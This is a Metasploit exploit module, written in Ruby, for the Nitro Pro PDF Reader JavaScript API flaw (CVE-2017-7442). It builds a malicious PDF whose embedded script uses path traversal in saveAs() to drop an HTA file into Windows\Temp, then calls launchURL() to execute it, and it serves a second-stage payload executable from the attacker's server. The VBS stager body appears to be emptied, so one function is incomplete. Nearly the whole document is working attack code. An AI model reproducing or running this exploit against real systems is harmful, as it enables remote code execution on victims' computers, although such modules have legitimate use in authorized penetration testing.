SRC-2017-0005 : Nitro PDF Pro Doc.saveAs and App.launchURL Remote Code Execution Vulnerabilities

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::FileDropper
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nitro Pro PDF Reader 11.0.3.173 Javascript API Remote Code Execution',
        'Description' => %q{
          This module exploits an unsafe Javascript API implemented in Nitro and Nitro Pro
          PDF Reader version 11. The saveAs() Javascript API function allows for writing
          arbitrary files to the file system. Additionally, the launchURL() function allows
          an attacker to execute local files on the file system and bypass the security dialog

          Note: This is 100% reliable.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'mr_me', # vulnerability discovery and exploit
          'bcoles',                                 # hidden hta tricks!
          'sinn3r'                                  # help with msf foo!
        ],
        'References' => [
          [ 'CVE', '2017-7442' ],
          [ 'URL', 'http://srcincite.io/advisories/src-2017-0005/' ],           # public advisory #1
          [ 'URL', 'https://blogs.securiteam.com/index.php/archives/3251' ],    # public advisory #2 (verified and acquired by SSD)
        ],
        'DefaultOptions' => {
          'DisablePayloadHandler' => false
        },
        'Platform' => 'win',
        'Targets' => [
          # truly universal
          [ 'Automatic', {} ],
        ],
        'DisclosureDate' => '2017-07-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
      OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
    ])
    deregister_options('SSL', 'SSLVersion', 'SSLCert')
  end

  def build_vbs(url, stager_name)
    name_xmlhttp = rand_text_alpha(2)
    name_adodb = rand_text_alpha(2)
    vbs = %Q||
    vbs.gsub!(/    /, '')
    return vbs
  end

  def on_request_uri(cli, request)
    if request.uri =~ /\.exe/
      print_status("Sending second stage payload")
      return if ((p = regenerate_payload(cli)) == nil)

      data = generate_payload_exe({ :code => p.encoded })
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end
  end

  def exploit
    # In order to save binary data to the file system the payload is written to a .vbs
    # file and execute it from there.
    @payload_name = rand_text_alpha(4)
    @temp_folder = "/Windows/Temp"
    register_file_for_cleanup("C:#{@temp_folder}/#{@payload_name}.hta")

    payload_src = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{datastore['URIPATH']}#{@payload_name}.exe"
    stager_name = rand_text_alpha(6) + ".vbs"
    pdf = %Q|%PDF-1.7
    4 0 obj
    <<
    /Length 0
    >>
    stream
    |
    pdf << build_vbs(payload_src, stager_name)
    pdf << %Q|
    endstream endobj
    5 0 obj
    <<
    /Type /Page
    /Parent 2 0 R
    /Contents 4 0 R
    >>
    endobj
    1 0 obj
    <<
    /Type /Catalog
    /Pages 2 0 R
    /OpenAction [ 5 0 R /Fit ]
      /Names <<
        /JavaScript <<
          /Names [ (EmbeddedJS)
            <<
              /S /JavaScript
              /JS (
                    this.saveAs('../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta');
                    app.launchURL('c$:/../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta');
              )
            >>
          ]
        >>
      >>
    >>
    endobj
    2 0 obj
    <>
    endobj
    3 0 obj
    <<>>
    endobj
    xref
    0 6
    0000000000 65535 f
    0000000166 00000 n
    0000000244 00000 n
    0000000305 00000 n
    0000000009 00000 n
    0000000058 00000 n
    trailer <<
    /Size 6
    /Root 1 0 R
    >>
    startxref
    327
    %%EOF|
    pdf.gsub!(/    /, '')
    file_create(pdf)
    super
  end
end